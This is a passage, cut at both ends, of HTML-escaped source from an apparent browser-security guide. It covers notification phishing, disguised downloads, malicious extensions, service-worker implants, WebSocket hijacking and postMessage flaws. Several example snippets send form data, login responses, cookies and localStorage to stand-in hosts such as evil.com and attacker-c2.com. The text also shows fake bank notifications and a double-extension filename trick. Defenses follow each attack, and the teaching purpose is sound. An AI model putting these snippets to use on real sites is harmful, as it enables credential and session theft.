      &lt;span class="na"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;enableHighAccuracy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;watchPosition&lt;/code&gt; continuously reports location changes. A compromised site with geolocation permission is a passive tracker.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Permissions-Policy: geolocation=(self)&lt;/code&gt; — restrict to own origin only&lt;/li&gt;
&lt;li&gt;Prefer &lt;code&gt;getCurrentPosition&lt;/code&gt; (one-time) over &lt;code&gt;watchPosition&lt;/code&gt; (continuous)&lt;/li&gt;
&lt;li&gt;Users should grant geolocation only on demand, not persistently&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  12. Notifications — The Browser Phishing Channel
&lt;/h2&gt;

&lt;p&gt;Push notifications are the legitimate use case. But the same channel is abused for persistent phishing.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack Flow
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;User visits sketchy site&lt;/li&gt;
&lt;li&gt;"Click Allow to continue watching" — social engineering the permission&lt;/li&gt;
&lt;li&gt;Site registers a service worker with a push subscription&lt;/li&gt;
&lt;li&gt;Now delivers phishing notifications &lt;strong&gt;forever&lt;/strong&gt;, even when the site isn't open&lt;/li&gt;
&lt;li&gt;Notifications can link to credential-harvesting pages with bank logos
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// After permission granted, notification content is attacker-controlled&lt;/span&gt;
&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;registration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;showNotification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Your bank account needs attention&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Unusual activity detected. Click to verify.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;icon&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/bank-logo.png&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/phish&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Permissions-Policy: notifications=()&lt;/code&gt; — block in iframes&lt;/li&gt;
&lt;li&gt;Users: review and revoke notification permissions regularly&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;chrome://settings/content/notifications&lt;/code&gt; / Firefox equivalent&lt;/li&gt;
&lt;li&gt;CSP &lt;code&gt;connect-src&lt;/code&gt; can limit where push subscriptions connect&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  13. Downloads — Malware Delivery Vector
&lt;/h2&gt;

&lt;p&gt;The browser's download mechanism can be triggered programmatically, with attacker-controlled filename and content.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Programmatic download — attacker controls filename and content&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;a&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data:application/octet-stream;base64,&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;maliciousPayload&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;download&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;invoice-2024.pdf.exe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Double extension trick&lt;/span&gt;
&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;click&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Combine this with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A drive-by download triggered by a compromised ad&lt;/li&gt;
&lt;li&gt;A filename that exploits OS extension hiding (&lt;code&gt;invoice.pdf\u202e.exe&lt;/code&gt; — RTL override character)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Content-Disposition: attachment; filename=update.exe&lt;/code&gt; from a compromised CDN&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt; — prevents MIME-type sniffing&lt;/li&gt;
&lt;li&gt;CSP &lt;code&gt;default-src&lt;/code&gt; limits what origins can deliver resources&lt;/li&gt;
&lt;li&gt;Download directory monitoring in EDR/endpoint solutions&lt;/li&gt;
&lt;li&gt;Educate users: legitimate invoices don't come as &lt;code&gt;.exe&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  14. Extensions — Privileged Strangers in the Browser
&lt;/h2&gt;

&lt;p&gt;Browser extensions run in an elevated context. They can read every page, intercept network requests, modify the DOM, and access storage across origins. They bypass SOP entirely.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack Surface
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Malicious extension&lt;/strong&gt; masquerading as legitimate (fake ad blocker with 2M installs)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compromised legitimate extension&lt;/strong&gt; via acquired developer account&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Extension with overly broad permissions&lt;/strong&gt; exploited via a vulnerability in the extension itself
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// A malicious extension content script can:&lt;/span&gt;
&lt;span class="nx"&gt;chrome&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tabs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onUpdated&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addListener&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;tabId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;changeInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;tab&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;changeInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;complete&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;tab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bank.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;chrome&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scripting&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;executeScript&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;tabId&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="na"&gt;func&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Running on bank.com with full DOM access&lt;/span&gt;
        &lt;span class="c1"&gt;// Bypasses CSP if injected by extension&lt;/span&gt;
        &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;submit&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/creds&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
          &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Extension-injected scripts can bypass CSP because they run with the extension's privileges, not the page's.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Minimize installed extensions — every extension is a trusted stranger&lt;/li&gt;
&lt;li&gt;Audit extension permissions before installing&lt;/li&gt;
&lt;li&gt;Use browser profiles to isolate sensitive browsing (banking) from general browsing&lt;/li&gt;
&lt;li&gt;Enterprise: enforce extension allowlists via policy&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  15. Service Workers — The Persistent Browser Implant
&lt;/h2&gt;

&lt;p&gt;Service Workers are the most powerful and most underestimated attack surface in modern browsers.&lt;/p&gt;

&lt;p&gt;A registered service worker:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lives &lt;strong&gt;outside the page lifecycle&lt;/strong&gt; — persists after the tab closes&lt;/li&gt;
&lt;li&gt;Intercepts &lt;strong&gt;all network requests&lt;/strong&gt; from the origin&lt;/li&gt;
&lt;li&gt;Can serve &lt;strong&gt;cached responses&lt;/strong&gt; — even offline&lt;/li&gt;
&lt;li&gt;Can run &lt;strong&gt;background sync&lt;/strong&gt; and &lt;strong&gt;push handlers&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Threat
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Malicious service worker — intercepts all requests on the origin&lt;/span&gt;
&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;fetch&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// Log every request made on this origin&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/log?url=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;encodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;cookie=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookieStore&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// Serve malicious response for specific paths&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/login&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;respondWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/creds&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an attacker registers a malicious service worker via XSS — even a brief XSS — it persists after the vulnerability is patched. The implant outlives the injection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Service-Worker-Allowed&lt;/code&gt; header limits registration scope&lt;/li&gt;
&lt;li&gt;Implement Service Worker versioning with integrity checks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Clear-Site-Data: "cache", "storage"&lt;/code&gt; — nuclear option to clear registered workers&lt;/li&gt;
&lt;li&gt;Monitor for unexpected service worker registrations in your CSP report endpoint&lt;/li&gt;
&lt;li&gt;Service workers require HTTPS — enforcing HTTPS is a prerequisite defense&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  16. WebSockets — The Covert Channel
&lt;/h2&gt;

&lt;p&gt;WebSockets establish persistent, bidirectional connections. They bypass some security controls that apply to HTTP.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Threats
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;WebSocket Hijacking (Cross-Site WebSocket Hijacking / CSWSH)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;WebSockets don't enforce CORS. They use &lt;code&gt;Origin&lt;/code&gt; header — but only the &lt;em&gt;server&lt;/em&gt; validates it. If the server doesn't check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// On evil.com&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ws&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WebSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;wss://app.com/ws&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Includes cookies!&lt;/span&gt;
&lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onmessage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/dump?d=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Data Exfiltration Channel&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;WebSocket traffic is often less monitored than HTTP. An XSS payload that exfiltrates via WebSocket to a C2 server may evade detection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ws&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WebSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;wss://attacker-c2.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onopen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;storage&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Validate the &lt;code&gt;Origin&lt;/code&gt; header server-side on WebSocket handshake&lt;/li&gt;
&lt;li&gt;Use WebSocket-specific CSRF tokens&lt;/li&gt;
&lt;li&gt;Implement authentication at the WebSocket protocol level, not just on initial HTTP handshake&lt;/li&gt;
&lt;li&gt;CSP &lt;code&gt;connect-src&lt;/code&gt; controls which WebSocket endpoints can be connected to&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  17. postMessage — Cross-Frame Exploitation
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;postMessage&lt;/code&gt; is the sanctioned way for cross-origin iframes and windows to communicate. Insecure implementations create serious vulnerabilities.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Sender: trusting any origin&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable: no origin check&lt;/span&gt;
&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;message&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// event.origin is NOT checked&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#output&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// XSS sink&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Attacker from evil.com:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
